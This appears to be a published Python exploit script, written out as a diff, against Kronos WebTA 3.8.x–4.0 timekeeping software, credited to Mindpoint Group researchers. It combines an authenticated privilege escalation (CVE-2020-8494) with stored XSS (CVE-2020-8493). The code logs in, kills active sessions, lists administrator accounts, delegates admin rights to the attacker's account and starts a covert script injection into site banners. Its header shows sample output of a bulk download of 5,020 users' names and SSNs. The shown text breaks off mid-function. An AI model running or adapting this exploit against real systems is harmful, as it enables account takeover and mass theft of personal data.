Apache Tomcat/7.0.76 (Servlet API 3.0) +# App Server JDBC Driver: Oracle JDBC driver version 11.2.0.4.0 +# Database Version: Oracle JDBC driver version 11.2.0.4.0 +# Database Connection: jdbc:oracle:thin:@//foo.rds.amazonaws.com:1521/webtadb
connected as user WEBTASVC +# +# [-] Downloading names and SSNs... +# +# [+] Complete. 5020 users written to file 'WebTA-PII.xls' +# [+] Sample Content: +# USERID,Last Name,First Name,Middle Name,SSN,Supervisor ID,Timekeeper ID,Organization,Pay Period,Active Status, +# MOTOKO,Kusanagi,Major,M.,987-65-4321,ARAMAKI,ARAMAKI,SECTION9,19,Active, +# +# [+] Stored XSS attack complete :) +##### + +import re +from requests import Request, Session +from sys import argv, exit + + + + +banner = """### +# Kronos WebTA 3.8.x - 4.0 Authenticated Remote Privilege Escalation & Stored XSS Exploit +# Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group +# Exploit Author: Nolan B. Kennedy (nxkennedy) +# Discovery date: 20 SEPT 2019 +# Vendor Homepage: https://www.kronos.com/products/kronos-webta +# Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029) +# Tested on: Linux +# CVE: (Remote Privesc) CVE-2020-8494 | (Stored XSS) CVE-2020-8493 +# Usage: python3 exploit.py http://target +###""" +base_url = argv[1] +username = "TESTER" +password = "password!1234" +# set to True if you want to also exploit Stored XSS +xss = False +# xss strings can be injected into 3 different 'banner' locations (feel free to modify content) +# WILL NOT ERASE CONTENT ALREADY IN APPLICATION +xss_login_page = """ + +""" +xss_banner_everypage = "" +xss_passwordchange_page = "" +s = Session() +adm_list = [] + + + +def web_req(url, data): + print() + req = Request('POST', url, data=data) + prepared = s.prepare_request(req) + resp = s.send(prepared, allow_redirects=True, verify=False) + return resp + + + +def killActiveSession(): + url = base_url + "/servlet/com.threeis.webta.H111multipleLogin" + data = {"selFunc":"continue"} + resp = web_req(url, data) + + + +def checkPrivs(): + url = base_url + "/servlet/com.threeis.webta.HGateway" + data = {} + resp = web_req(url, data) + html = resp.text + activeSession = roles = re.findall(r'(.*?)You have an active session open at a another browser(.*?)\.', html) + roles = re.findall(r'(.*?)type\="button"(.*?)>', html) + if activeSession: + print("[-] Killing active session...") + killActiveSession() + login() + elif roles: + roles_list = [] + for role in roles: + role = role[1].split('"')[1] + roles_list.append(role) + print("[+] Logged in as '{}' with roles: {}".format(username, ', '.join(roles_list))) + + else: + print("[!] Account does not have required Timekeeper or Supervisor privs") + exit() + + + +def login(): + url = base_url + "/servlet/com.threeis.webta.H110login" + data = {"j_username": username, "j_password": password, "login": "++Log+In++"} + resp = web_req(url, data) + if resp.status_code != 200: + print("[!] Failed login in as '{}'".format(username)) + exit() + checkPrivs() + + + +def findAdmins(): + url = base_url + "/servlet/com.threeis.webta.H940searchUser" + data = { + "selFunc":"search", + "return_page":"com.threeis.webta.P491delegate", + "return_variable":"delegate", + "search_org":"0", + "search_role":"Administrator", + "actingRole":"2", + "payload_name_0":"selFunc", + "payload_val_0":"search", + "payload_name_1":"selRow", + "payload_name_2":"delegate", + "payload_name_3":"delegateRole", + "payload_val_3":"2", + "payload_name_4":"delegatorEmpId", + "payload_val_4":"15667", # might need a valid user id + "payload_name_5":"delegatorUserId", + "payload_val_5":username, + } + resp = web_req(url, data) + html = resp.text + adm_usrs = re.findall(r'(.*?)\n', html) + print("[+] Available Admin Accounts:") + for snip in adm_usrs: + adm = snip.split('')[2] + adm_list.append(adm) + print(adm) + + + +def privesc(): + url = base_url + "/servlet/com.threeis.webta.H491delegate" + data = { + "selFunc":"add", + "delegate":username, + "delegateRole":"5", + "delegatorEmpId":"1234", + "delegatorUserId":adm_list[0], + } + print() + print("[-] Attempting to use account '{}' to delegate Admin privs to '{}'...".format(adm_list[0], username)) + resp = web_req(url, data) + print("[+] '{}' successfully elevated to Admin privs :)".format(username)) + + + +def storeXSS(): + url = base_url + "/servlet/com.threeis.webta.H261configMenu" + data = {'selFunc':'messages'} + ### to be covert we want to append our js to the end of * messages/banners already there * + resp = web_req(url, data) + html = resp.text + messages = re.findall(r'